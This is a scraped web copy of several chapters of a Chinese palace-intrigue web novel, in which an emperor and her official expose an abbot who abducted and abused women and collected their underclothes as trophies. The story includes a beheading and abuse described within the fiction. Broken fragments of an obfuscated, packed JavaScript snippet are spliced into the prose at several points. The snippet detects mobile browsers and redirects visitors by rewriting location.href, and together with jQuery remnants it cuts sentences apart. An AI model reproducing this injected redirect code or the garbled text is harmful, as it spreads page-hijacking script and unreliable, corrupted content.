l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015686|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “许攸,你先带人,将这些女子照顾好,若是她们死一人,朕要你的脑袋!” 许攸摊开手,这不为难他么? 不过看在秦曦现在火大的份上,他也不撩拨,挥手冲着周龙和箫成招呼。 “箫成,陛下命令听到没有,本老爷把她们交给你了。” 箫成吓得哆嗦,他分明听到是天子交给许攸,怎么转眼就到了他头上? 这要是死一个,他八百个脑袋都不够砍的。 其他官员也面面相觑,如此大的事情,许攸居然当儿戏。 可惜现在龙辇已经起驾,这会谁也没心思和许攸掰扯。 龙辇抵达京兆府,如此大动静,自然引来不少路人为官,可惜周围都是禁卫和玄甲,没人能够闯入重围。 秦曦坐下后,屁股都没坐热,就看到王迸夹着腿,满头大汗的自外面跑进京兆府。 “陛下!郡主殿下她,她并未在府中!” 此言一出,刚坐下的众多官员,也惊愕的瞪大双眼。 大早晨,天刚蒙蒙亮,郡主不在郡主府,这在干什么? 人群中的李昌,脸黑的和锅底差不多。 如今郡主和他的儿子婚期已经是公开,两人就在今年春节成亲。 现在郡主大早晨不在郡主府,这不明摆有**! “岂有此理!” 嘭! 秦曦终于抑制不住心中愤怒,看到许攸端着茶送来,劈手夺过,直接砸在地上。 “查!给朕查!” “萧定远听令,你率领三千禁卫,将相国寺给朕围死,一只飞鸟都不得出入!” “其余人等,随朕前往相国寺!” “今日,朕要看看,朕这天下,是否还是原来的样子!” 秦曦是真的怒了,愤怒之下的她直接下令,让大军包围相国寺。 “喏!” 萧定远躬身领命出去。 清晨的露水将道路打湿,四周寂静无人,让相国寺宝相森严多了丝诡异。 伴随院门被一脚踹开,秦曦的身影也出现先在了寺庙中。 入眼,她便看到了两道身影,其中一道罗裳半解,眉目含春。 此人不是别人,正是她的好妹妹,建安郡主! 第一百四十章 以死明志 寺庙大门轰然打开,时间也在这一刻彻底凝固。 “哦豁!” 许攸脸上写满幸灾乐祸,至于他面前的建安郡主,可没了他这份好心情。 建安郡主容颜和女帝有几分相似,身材略微矮一些,此刻她的俏脸上,除了慌张就还是慌张。 看着门口那道纤细的身影,建安郡主身体在不停哆嗦。 “姐……姐姐。” 空寂脸上也露出了恐惧。 在他看来,只要不被抓到证据,无论他和建安郡主如何,就不会有人动手,拿他怎么样。 可偏偏就在今日,不但没能杀了许攸,还引得天子大驾亲临。 完了! 秦曦的目光冷冷扫过,最后落在建安郡主那张白皙的脸颊上。 她没直接怒斥,也没下令让人砍了空寂,而是神色冰冷的看着两人。 如此压抑的氛围,这给人更大压迫感。 无形之中,建安郡主和空寂两人,就感觉自己面前,仿佛坐了一尊凶兽。 不过建安郡主好歹也是经历过不少风雨,度过初始的惊骇和慌张后,她立刻冷静下来,强迫自己挤出个比哭还难看的笑容。 “姐姐,今日你怎么有空,来这相国寺?” “你若是想看父皇,为何不早早通知,也免得冲撞到父皇。” 秦曦眼底的温度在飞速流失。 任何人都能看出,她在强压心头的怒气。 可眼前的建安郡主,居然在这个时候,不但不认错,反而继续挑衅。 许攸都有点佩服,也不知道建安郡主是真的没脑子,还是打算当众人的面,给秦曦难看。 果然,在听到这话后,秦曦美眸转动,不带半点感情,森寒话语脱口而出。 “这话不应该是朕问你?” “为何你会在这里?” “为何你会衣衫不整?” “为何郡主府内禁卫会消失无踪?” “朕的好妹妹,你可否告诉朕!” 说到最后,秦曦的语气陡然一变,变得更加尖锐和低沉。 一句话,彻底戳穿了建安郡主的谎言。 什么祭拜先皇,什么为先皇祈福,那都是假的! 建安郡主身体晃荡了下,一双美眸扫过眼前众人,很快便在人群中,找到正在带着笑的许攸。 见许攸满脸的笑容,建安郡主脸上的表情更加复杂,有不甘,有愤怒,有怨毒。 “姐姐,妹妹是来找空寂大师的!” 此言一出,在场全都是吸气声。 建安郡主居然承认了! 然而,接下来的话语,却让在场官员,以及许攸和秦曦,都皱起眉梢。 “京兆府府尹故意制造**,想要污蔑空寂禅师,妹妹担心他被陷害,不得已才用了如此办法!” “他乃相国寺主持,又多次为父皇念经祈福,若是因此被小人陷害,必然会成为天下的笑话。” “妹妹私自做主,还请姐姐明察,还空寂禅师一个清白!” 此时的建安郡主,内心还有一丝最后侥幸。 相国寺是梁王出资建立,这也意味着,只要梁王还在长安城,就没人能动。 如今她的行为,也只能说不妥,并不能说明她通奸。 再者,她只是衣衫不整,并非是彻底解开,随便一句太热,都可以解释。 若不是此事事关重大,她还有更多借口辩驳。 放在以前,她要是这么说,秦曦多半会听之任之,甚至将这件事给压下去。 但是今天不同! “是么?” 秦曦嘴角勾起冷冽的笑容。 “空寂禅师,朕问你,你为何要逃?” “你若是身份清白,问心无愧,为何要逃离相国寺,为何要离开长安?” “你心里有愧,愧对天下,愧对你身后的佛,是与不是?” 被她这厉声一呵,空寂险些没瘫软按下去。 秦曦扫了眼,见空寂满脸煞白,身体颤颤不停发抖,便已经知道了一切。 说完这句后,她不在看向空寂,而是将目光重新锁定在建安郡主身上。 作为她的妹妹,集万千宠爱于一身,是天下最为娇贵的郡主,也是她拉拢世家最重要棋子,以及维持朝堂平衡的支点。 可惜,可惜现在全部被打破。 “建安!” 秦曦冷冷的开口,声音中带着不容置疑。 “还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019213|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉上你的衣服,给朕滚过来!” “难不成让朕亲自过去?” 只是一句话,就吓得建安郡主脸色煞白。 建安郡主机械的回过头,看到早已被吓得魂不附体的空寂,脸上也写满了绝望。 一切到此都结束了! 她所选择的男人,只是个笑话,所追求的爱情,也不过是笑话而已! 当初的海誓山盟,如今只是奢望。 面对天子的命令,她不敢拒绝,只能一步一挪,艰难挪动脚步,缓缓朝着秦曦的方向走来。 一步,两步,三步…… 每一步都在抽干她的体力,短短几步路的距离,她却如同走了好几年,浑身疲倦,气势低沉,没有半点生机。 走的再怎么慢,那也没用,双方距离也不过十多步而已。 建安郡主终于来到了秦曦面前,面对天子,面对三省六部的大臣,面对那个调戏她的许攸,她的娇躯变得摇摇欲坠,俏脸也是白如纸张。 “姐姐。” 这一刻,她不是高傲的天之娇女,只是个可怜的女人。 秦曦没去看她,目光冰冷。 “许攸,此事交给你处理。” 很显然,秦曦动了真火,在这一刻,她想亲**了眼前的妹妹,但又下不去手。 建安郡主虽然只是她同父异母的妹妹,可到底两人身上流着同样的血。 她不想,也不愿意,将屠刀举向自己的妹妹。 天子的威严和冷傲,在这一刻绽放。 只是一句话,就代表了她的内心。 许攸从人群中走出,他知道要怎么处理! “来人,将金佛推到,把寺庙内所有僧侣全部控制起来,所有厢房禅院,全部搜一遍!” 一听到要推到金佛,空寂从惊恐中回过神,猛地跪倒在地。 “陛下!陛下不可!” “金佛乃是梁王用万民之血铸造,**天下邪祟!” “万万不可推到,一旦被打开,必然会让妖邪作乱时间,到时候天下必然大乱!” “贫僧死不足惜,还请陛下三思!” 说完,空寂一咬牙,居然打算直接用脑袋去撞金佛,以此来明志! 第一百四十一章 陛下,臣手滑了 嘭! 空寂脑袋是撞到了金佛上,但没感觉到疼,也没流半点血。 众人脸色怪异,就连秦曦凤眸都微微凝起。 许攸手里有一把剑,这把剑只有萧定远看过,至今还是众人第一次看到它出鞘。 剑身在空气中微微颤抖,细细嗡鸣声,随之响起。 之间许攸手腕抖动,刚还在作势要撞金佛,来个以死明志的空寂,直接倒飞了出去。 噌! 长剑陡然回鞘,再次恢复那朴实无华的模样。 隐约间,秦曦眸子内,印出一道身影。 三年前登基大典,她被太子和党项**,就在她以为要死的时刻,康王带着人马成功突围,进入大典现场。 那一日,一个消瘦的身影,带着千人在敌阵中不停厮杀,杀的太子等人胆寒,杀的党项四散而逃。 但自从那日之后,那人便彻底消失。 她问过无数次康王,但从未得到答案,气急败坏的她,下旨让康王滚出长安,不得她允许,永远不得进入长安半步。 “赤……鬼!” 长剑剑鞘上,用小篆刻着两个字。 秦曦瞳孔紧缩,压下心头悸动后,她将视线转到许攸的背上。 “今日你全权处置!” 在没看到赤鬼之前,秦曦只是想让许攸当一把刀,一把灭杀梁**气的刀。 但现在,她的想法变了! 许攸也很意外,他以为自己出面,就是给秦曦找找茬而已。既然如此,那他就不客气了! “空寂,你可知罪?” 手持赤鬼,许攸再次恢复那吊儿郎当的模样。 “你身为相国寺主持,仗着佛祖名义,不但强征横敛,霸占良田,更利用送子名义,蒙骗无辜女子!” 这话一出,空寂脸上表情彻底变了。 “为了掩饰罪行,你不但不思悔改,还利用自己身份,假借济世度人,明着是为先皇祈福,暗中则挑选秀女,供给达官贵族享受。” “你等手段残忍,所控制女子,不下千人!” “死在你等手里的冤魂,也至少千人,如此歹毒心肠,你也配是佛?” 秦曦凤眸中再度浮现出冰冷寒意,十根手指因为用力过度,此刻已然发白。 面对这压抑的气氛,许攸非但没停下话语,而是继续冷冷的道。 “你以为一切都神不知,鬼不觉,更是利用这些年积攒的钱,在寺庙内修建金佛。” “若是本老爷没看错,这金佛下面,才是相国寺真正面目,也是你这寺庙罪恶源头!” “不但如此,你还勾结卢氏,将搜刮所得交给卢氏处理,所得一分为三,你、梁王、卢氏各取其一!” “如此蔑视天威,戏弄天下,愚弄神佛,你罪该万死!” 说到这里,许攸嘴角勾起讥讽笑容。 “你以为谁可以保你?” “先皇?梁王?还是卢氏?” “若是本老爷没调查错,你出家之前的名字,是不是叫卢冠中?” 轰隆! 所有人都深吸一口气,被这个**炸的呼吸都开始不稳。 空寂居然是卢氏的人,而且还是那个多年前就早夭的卢氏大公子,卢冠中! 此刻的空寂脸上,没有半点的血色,浑身瘫软在地,整个人不停颤抖。 一滩液体从他僧袍下渗出,在空气中散开阵阵骚臭味道。 “陛下饶命,他……他故意污蔑贫僧。” “饶命!陛下饶命啊!” 空寂是真的恐惧到了极点,不但连自己身份都被拆穿,更是把卢氏这么多年布置,给全部推翻! 如今的他,只希望有人能对着他伸出援手。 整个寺庙中,唯一能救他的,只有一人! “郡主殿下,看在往日的情分上,求求你救救我!” “建安……” 这一声“建安”,让建安郡主从呆滞中回过神。 扑通! 建安郡主快步上前,走到秦曦面前双膝跪下,双手拽着她的素裙,凄声哀求。 “姐姐,求您饶了他,饶了他一次。” 秦曦没言语,看着身前的妹妹,心口冰冷,就仿佛一尊石雕。 建安郡主急了,跪在地上不停的磕头。 “姐姐,他是相国寺的主持,是父皇钦点的主持!” “他佛法高深,不但为父皇祈福延寿,更是梁王的恩师。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019214|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>“此事肯定有什么误会,他定然不知情,都是下面那些僧人乱来,借着相国寺的名义,做出如此大逆不道事情。” “姐姐,还请你明察,还空寂禅师一个清白。” 嘭嘭嘭! 建安郡主脑袋不停砸地,很快便印出一块殷红。 “更何况在京兆府内外,空寂禅师的名望空前绝后,若是不查明此事,就此被问斩,百姓必然心中不服。” “还请姐姐饶了他一命,妹妹愿意从此闭门不出,永远常伴青灯。” 牛逼啊牛逼! 许攸以为电视剧都是假的,哪知道现实比电视剧情还要精彩。 常伴青灯古佛,不就意思要给李昌的儿子戴绿毛戴到死? 他这一刻,有点同情老李同志。 “哼!” “陛下,臣赞同许府尹的处置!” 事关自己家族荣誉,李昌自然不会顺从。 什么梁王,什么建安郡主,在李氏面前,依旧不够看。 今日本来就是苦主的李昌,在这一刻,干脆选择和许攸站一条线。 但人心都是肉长得,秦曦看着自己妹妹,脸上露出了复杂神色。 杀个空寂,这很简单。 但这件事远远不是如此简单,相国寺的主持居然是卢氏的人,还是卢氏的大公子。 那么这么多年,相国寺所敛财,正和许攸说的,大部分进了卢氏口袋,还有部分进入梁王手中。 皇室和世家勾结,这是意欲何为? 想到禁卫中的叛逆,秦曦心情更加烦躁。 另外还有一事,那就是先皇的死,到底和卢氏,和梁王有没有关系。 云安公主当年,又是如何**! 秦曦眸子中的神色,变得愈发冰冷。 “许攸,可否暂时留他一命?” 许攸一愣,有点怀疑自己是不是听错了。 “陛下,你刚才说什么?” 秦曦嘴角泛起苦涩,她想要查,也想要保住自己的妹妹。 “朕的意思是,留……” 不等她说完,只见寒光闪烁,一颗脑袋从远处滚落,咕噜噜滚到建安郡主身边。 “陛下,臣手滑了,臣有罪!” 第一百四十二章 案件更加复杂 留着卢氏的人不杀? 许攸可没打算自己给自己恶心。 他先前就觉得相国寺有问题,今天罗网将所有证据全部送来,他也找到了害他陷入险境的凶手。 “你!这是何意?” 秦曦深吸一口气,但并没有愤怒,只是出奇的不理解。 明明她都开口了,许攸也可以不杀,留着继续查,查的越多,那么牵连的人越多,到时候这件案子对许攸的好处越大。 许攸懒得多言,拿着僧袍擦擦赤鬼剑身的血迹。 “手滑,早死晚死都是死。” 场中陷入死寂。 李昌瞥了眼许攸,表情凝沉,也不知道是感叹许攸的莽撞,还是在惊讶他的果决。 秦曦也没说话,只是拧着眉梢,一时间不知道是该夸许攸,还是该生气。 “啊!许攸,你放肆!” 死寂的气氛突然被打破,刚才还是一片沉寂的场地中,突然响起了尖锐爆鸣声。 众人顺着身影看去,只看到披头散发,犹如厉鬼的建安郡主,真瞪着双猩红的双眸,死死盯住许攸。 建安郡主身形颤抖,犹如一头被激怒的雌兽,此刻彻底发狂。 “许攸!你该死!” 身为大唐的郡主,又是当今天子的亲妹妹,如此显赫身份,亲自跪下求情。 可结果呢? 许攸不但一剑枭首,还居然堂而皇之的当着众多官员和天子面,说“手滑”! “姐姐已经下令,让你查明原委,你却如此的迫不及待,将空寂禅师斩杀!” “你眼中到底有没有大唐,有没有君臣主次!” 说到这里,建安郡主的声音愈发尖锐。 “你不过是个京兆府的府尹,不但敢蔑视天威,还要在天子面前指手画脚!” “难不成,你真以为,这大唐是你的不成!” 此话就是在给许攸扣帽子,让许攸给空寂偿命。 建安郡主身体颤抖,面容狰狞恐怖。 但和她预料的不同,许攸不但没怕,手里的赤鬼剑,轻轻抖了下,以一种轻蔑,以及霸道到狂傲的语气,抬脚踩住了空寂的尸体。 许攸神色冰冷,桀骜的举起手中赤鬼剑。 “杀了,又如何?” “今日我不仅是要杀他,卢氏满门一个跑不掉!” 这话简直搞笑! 他许攸是怕死么? 他怕的是死的不明不白,若是能被天子直接赐死,他现在就下令,屠了卢氏满门,然后美滋滋自裁归天。 到时候,反正他回到自己世界,当他的逍遥神仙,至于大唐爱怎么样就怎么样,和他许攸有个屁的关系。 一个被宠坏的女人,居然仗着身份,把意图凌驾在皇权之上的世家当宝。 他都不知道该笑,还是该叹气。 “敢问郡主殿下,你真的只是为了天下大意,和陛下求情,让我不杀空寂吗?” “不如你和陛下解释下,为什么空寂的行囊里面,会有肚兜,而且还带着温热!” “好一个送情郎!” “啧啧,你可真不要脸!” “我要是天子,我现在就给你扒光了丢猪笼,早点给你淹死,也省的继续丢人现眼!” 不就是丢人,反正丢的也不是他的人,许攸压根不带怂的。 空气,在这一秒,再次凝固。 所有人瞪大双眼,李昌更是眼皮狂跳,一张脸黑的和锅底似的。 本来这件事,可以低调处理,偏偏许攸剑走偏锋,把空寂给斩了。 斩了也没什么,死无对症,那也是好事。 皇家的威严保住了,在随便找个借口,把卢氏满门弄死,这样此事可以说彻底告一段落。 但偏偏在这个节骨眼,有人故意找事。 找事就找事,还找的是不怕死的许攸事情。 事情彻底闹大! 建安郡主那张俏脸,在这一刻变得是无比精彩,从开始的愤怒怨恨,到错愕惊讶,栽倒满脸的阴沉。 然而,比她脸色变化更大的是秦曦。 秦曦的双眸之中,充满了阴沉和杀意。 “你……你在污蔑本宫!” “本宫岂是如此下作的人,怎么会如此不知廉耻!” “姐姐,姐姐你看看他,他污蔑妹妹!” 建安郡主跪爬到秦曦面前,双手再次拉住那素裙衣角。 “此贼故意污蔑妹妹,玷污皇室威严,其心可诛!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019215|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“姐姐,此贼不死,妹妹怕是也无法苟活,再无半点颜面……” 不等她说完,许攸玩味的声音再次响起。 “郡主殿下,别嚎了。” “是不是真的,其实有个人比我们更加清楚。” “要不要咱们把李昌李大人之子请来,让他当面对质,和你说说这番事情?” 还有李昌儿子的事情? 在场众人再次愣住,一个个看向李昌的表情,也充满了怪异。 李昌现在恨不得弄死许攸,更恨不得用布把建安郡主的嘴给堵上。 蠢,太蠢了! 许攸杀了空寂,那是大家都好的事情,大家都有台面。 可结果这么一闹,那大家都下不了台。 现在只有一个可能,那就是这件事,没有继续扩大的可能。 但这可能吗? 秦曦眸子中寒意四起。 她和许攸接触时间不长,但深知许攸为人。 “许攸,你为何这么做?” 许攸摊开手,表情很是淡定。 “陛下,云安公主的死有蹊跷!” “臣翻阅卷宗,又安排人调查,发现云安公主是在先皇驾崩前就遭到**。” “臣不是针对建安郡主,她还不配臣如此费心竭力!” “从卷宗和各种蛛丝马迹上看,包括陛下的死,都……” 许攸说到这里,突然止住了话语,神色变得凝重。 “陛下,此事当真要让臣明说吗?” 这话已经在明着说。 先皇死有蹊跷,云安公主的死也有蹊跷。 事关皇家的隐秘,哪怕秦曦再怎么愤怒,这件事也要压下去。 秦曦此刻脸已经阴沉到了极点,十指指甲深深嵌入肉里。 姐姐的死,是她这辈子都难以忘记的痛苦。 如今再次被提起,她感觉心口犹如刀剐。 此事必须查清楚,但不能现在查。 忽然,秦曦脑海内闪过一道精光,整个人呆呆立在原地,俏脸上也浮现出不敢置信。 她的目光对上许攸,只看到后者无奈点点头。 “你……你的意思,朕的姐姐是死于毒杀?” “许攸,你回答朕,是还是不是?” 第一百四十三章 没有证据就是诬告 “臣,不知。” 实际上许攸还真知道这件事,但他不想说。 云安公主死很蹊跷,他现在怀疑,这是一出金蝉脱壳,并非真正的死。 但有些事不是现在可以说,一旦他捅出来更大的篓子,到时候死的人也会更多。 秦曦那张俏脸上,再次充满冷厉的杀意。 身为女帝,贵为大唐天子,秦曦不傻,非但不傻,她还很聪明,知道自己的短处和劣势,所以她知道如何发挥自己的有点。 如今见到许攸故意不说,她气得一咬银牙,衣袖甩动,直接将建安郡主给甩到旁边。 “建安郡主此事事关重大,若是没有铁证,不足以证明!” “你可有证据?” “若无证据造谣郡主,此乃死罪!” 女帝开窍了? 许攸眨眨眼,难不成女帝真的开窍了,所以打算用这方式威胁他,可这手段未免太低级。 秦曦话音落下,李昌走出来,冷冷的看了眼许攸。 “许大人,慎言!” 说完,他朝着秦曦拱拱手,再次解释。 “陛下,此事事关犬子,臣认为还是私下处理的好。” 李昌也要面子,这件事都闹到这地步了,他怕继续闹下去,自己儿子李延年的脸会丢光。 到时候出门,人家就笑,笑李延年是个绿帽龟。 为了儿子的尊严,李昌决定出手。 “臣认为此案涉及皇家,不如让宗室来处理,许大人为国为民之心,我等皆看在眼中,就让他负责清查卢氏。” “臣愿意辅助许大人,调查清楚,将卢氏相关人等,全部缉拿归案!” 李昌是豁出去了,今日他不但要保全自己儿子,还得将卢氏拿下,让卢氏代替他承受一切! 他想的很好,架不住有猪队友。 “姐姐,许攸污蔑妹妹,他在污蔑我!” “我是清白的,我从未和空寂禅师有过什么不伦之举,他就是在造谣!” “姐姐,求您为妹妹做主,将这狗贼拖出去斩了!” “妹妹求求您!” 扑通! 建安郡主跪倒秦曦面前,声嘶力竭,眼泪不停滴落,洒在青石地面上。 “够了!” 秦曦冷喝一声,眼底的冷意,化作无尽怒火,直勾勾看向许攸! “证据,若无证据,当诛九族!” “念你往日功绩,朕会削去你所有官职,让你当个庶民!” 许攸人都懵了,合着念了半天,别人是株连九族,到他这里就是板子高高举起,放个屁就结束。 他也火大,本来这事就是卢氏在背后捣鬼,卢氏仗着大儒,仗着梁王,还有建安郡主,暗中大肆敛财,还搞出如此荒唐事情。 “陛下要证据,这有什么难的?” “既然诸位觉得我许攸说谎,那就请随我而来与!” 许攸冷笑一声,转身来到大殿深处,这里一座座禅房林立,从外面看上去,和普通寺院没什么区别。 看他居然跑到这里,建安郡主心里松了口气,从满脸紧张害怕,逐渐变为得意。 这件事说起来也简单,只要没有确凿证据,证明建安郡主通奸,许攸的言语和证据,那只能灭杀卢氏。 而寺中知道这一切的,已经全部死绝,连唯一活口,都被许攸一剑斩杀。 建安郡主内心得意,等下许攸找不到证据,她要反告许攸,让这个恶贼死无葬身之地。 众人踏入后院禅房,许攸推开最华丽的那间,里面景象出现在众人面前。 刚还满脸得意的建安郡主,在看到屋内景象,顿时如中雷击,呆立在当场。 “陛下,李侍中,若是诸位不信,可以进禅房内一观!” “不过我劝诸位,最好做好心理准备,免得被眼前污秽给污了眼睛。” 众人见许攸挡在门口,有心生好奇,有不屑,还有冷眼旁观。 许攸之所以如此笃定,都是因为空寂这位圣僧,有个特殊癖好! 喜欢收集女子的渎衣渎裤,并且喜欢把这些存放到一起,再做上详细的备注。 只要秦曦进屋,就能看到这一切! 他瞥了眼建安郡主,见到后者脸上满脸的惊恐,便将身体缓缓挪动。 “陛下,里面请!” 建安郡主猛地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在她身后,李牧和萧定远也寸步不离,远处其他官员,则是好奇的垫着脚,向禅房内窥视。 禅房内空间很大,被分为三个房间,正中间是念经诵佛所在,左右两侧则是卧房和书房。 当秦曦脚步踏入正堂,她整个人都呆住,眼眸之间露出不敢置信的神色。 她身后无论是李昌,还是萧定远,亦或者见多识广的李牧,都是脸色大变,瞳孔缩成一团。 第一百四十四章 皇室威严没了 空寂的禅房内,有十几根金色丝线,丝线横穿三间屋子,将整个空间打通。 每根丝线上,又分出不少根,在丝线的末端,悬挂一套肚兜和渎裤,有的上面还有殷红血迹。 最显眼的,自然是一套大红色刺金火凤肚兜! 建安郡主此刻的脸色,彻底变成惨白,白的比白纸还要恐怖。 她那张性感红唇,微微张开,失神的看着那件高悬肚兜。 那是她的! 秦曦的身体也晃了晃,目光自肚兜上离开,又落到最近一套衣服上。 衣服上染着血,上面用金线裱了张布条,在布条上还有一行行蝇头大小的字。 “三年春,上元节,泛舟而上,偶遇佳人,名蔡氏,新婚不过三日,泛舟游玩。” “身材妖娆俊美,肤白,腰细,只可惜脾气太倔,鞭责五十,吾兴胜,特此留下纪念。” “此女乃将作监主簿之女,调教三月,献与叔父,叔父大喜!” 嘶! 秦曦的脸色变得很阴沉,纤细手指捏在布条上,上面每个字她都认得,可连在一起,她却仿佛看到了人间最恐怖的炼狱。 在她身后的李昌,更是天旋地转。 将作监中主簿家女失踪,曾经闹到过门下省,但被他亲手按下。 在联想到空寂的身份,以及他笔下叔父,李昌想到了一个人。 曾经的帝师,如今梁王府邸供奉! “陛下!” 一股悲呛和愤怒,让李昌身体踉跄了下,他整个脑海内,都是不敢置信,眼底更浮现出了疯狂。 “陛下,请……请让开!” 李昌疯了,他将挡在面前的萧定远推开,疯了般在屋内寻找。 一圈,两圈,三圈…… 看着他的身影,秦曦闭上双眸,淡淡的道。 “传太医。” “传陛下旨意,宣太医!” 王公公站在门外,听到这声后,冲着身后禁卫和玄甲卫大吼。 屋内,李昌终于在一个柜子中,找到了他想要找的。 他的手艰难举起,将那套紫红色的渎衣取下,眼眶全是血红。 “谢,陛下隆恩。” “臣,无事!” 没有人知道他现在心情,也无法体会到。 许攸唏嘘一声,卢氏可不单单是不把人命当回事,他们已经胆大妄为到了极致。 当初云安公主**,压根不是什么王权更替,而是因为有人垂涎她的身子,以五万两黄金为筹码,让卢氏安排人强撸。 整个长安城内外,但凡有被看得上的女子,只要钱到位,无论是皇家贵胄,还是名门望族,都难逃毒手。 最终成为一件纪念品,悬挂在屋内,彰显空寂禅师的罪孽。 奇耻大辱! 公主差点被辱,郡主被当成玩物! 连朝堂上三公的女儿,也难逃毒手。 这不仅仅是对皇室的羞辱,更是对整个大唐的羞辱! 看到屋内的一切时候,建安郡主便彻底失去了力气,整个人瘫坐在地上,喃喃自语。 “不可能,他怎么会这样,不可能。” 此刻的她不复之前桀骜和疯狂,跪趴在门栏边缘,脑袋紧紧贴着地面。 “姐姐,是……是妹妹……错了,求你饶了……饶了我这一次……” 回答她的,只有一声轻哼。 不知道过去多久,所有人都感觉到,天子身上那恐怖的威压。 那是一股能洞彻心扉的冷。 秦曦眸子扫过,自房梁垂下的金线,足足十七根,最显眼的就是建安郡主的肚兜,其次还有十六件。 最后,她的目光,定格在一件无名的肚兜上,眼眸深处的杀意,疯狂往外流淌。 “此事,你知不知晓?” 这个问题,像一把重锤,狠狠砸在建安郡主身上。 建安郡主闻言,下意识的想要摇头。 “姐姐,我……” 她能感受到,身体上方有一道恐怖的目光,目光冰冷无情,似乎要将她洞穿。 她的话卡在嗓子眼,剩余的话语,无论如何,都说不出口。 “好!很好!” “朕的好妹妹,你当真好得很!” “到了此时,你还要瞒到什么时候!” “说!” 秦曦的怒吼声,在屋内不断回荡,那声音充满暴戾和愤怒。 这一声,彻底摧毁了建安郡主的防御,将她给重重拍打在地面上。 “知……知道。” 光光这两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036572|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字,就足以让她死八百次。 屋内这些渎衣渎裤,代表的是大唐颜面,还有那件没有名字的。 许攸吹了个口哨,默默走过去,当着众人阴沉的视线,将金线剪断,美滋滋把衣服塞进袖口中。 “陛下,此物没有来历,定然是有冤情,臣带回去,仔细查证。” “你!” 秦曦想骂,但又不知道如何开口。 若是她说了,岂不是今日清白,要在这里全部丢尽? 如今大唐的脸面,被卢氏践踏的丝毫不剩下,如果再传出她这个天子贴身衣物,居然被个和尚得到,那民间的威望,将彻底一落千丈。 被许攸带走,这或许是一件好事。 但……那可是她的贴身衣物! 秦曦的脸色在这一刻,变得很深沉,双眸之中幽光闪烁,盯着许攸看了足足三十息,这才冷冷的回过头,继续看向建安郡主。 暴风雨即将到来。 再次看向自己的妹妹,秦曦内心出奇的平静,没有之前那愤怒,有的只是冷漠。 皇家不存在亲情,也不存在温暖,有的只有冰冷杀戮和心机。 “许攸!” “回陛下,臣已经下令,将所有僧侣全部拿下,长安城内卢氏,无论是任何人,皆以控制!” 许攸前先一步,直接开口回答。 “很好,牵连此案的所有人等,从重处置。” 说到这里,秦曦的眼眸内,变得更加冷漠,似乎在说一件和她毫无关系的事情。 “卢氏,交给你!” “三日之内,若是他们还活着,朕要你狗命!” 许攸欣然领命。 卢氏,他终于可以亲手,把这一群畜生,全部送去见阎王。 至于什么大儒,什么名声,自从他们出现在卢氏那一刻,就注定他们是个罪人! “臣,遵旨!” 秦曦冷傲的点点头,目光落到建安郡主身上,再次冷冷开口。 “建安郡主……她乃是朕的妹妹,自有宗法处置,此事你不用多问。” “来人,将建安郡主带回建安宫,没有朕的旨意,任何人不得进入,不得出入!” 面对她的旨意,建安郡主绝望的哭嚎,却没有半点作用。 第一百四十五章 小公主到来 “许大人,有劳了!” 李昌擦擦眼角泪花,将渎衣渎裤小心翼翼解下。 “若是有小女下落,还请告知一声,老夫必有重谢。” 李氏,也是个大家族,比卢氏还要强大。 李昌之女,能在眼皮子下被人掳走,最终成了悬案,这就是对李氏的挑衅。 此次都不用许攸出手,光这一屋子的证据,就足够卢氏满门死绝! 这可不是玩笑,而是真正的死绝。 “李侍中客气,此乃下官分内之举,还请李侍中节哀。” 许攸拱拱手,如今天子下旨,那他就是主导一切的人。 “传本官令,将所有涉案之人,全部押送京兆府!” 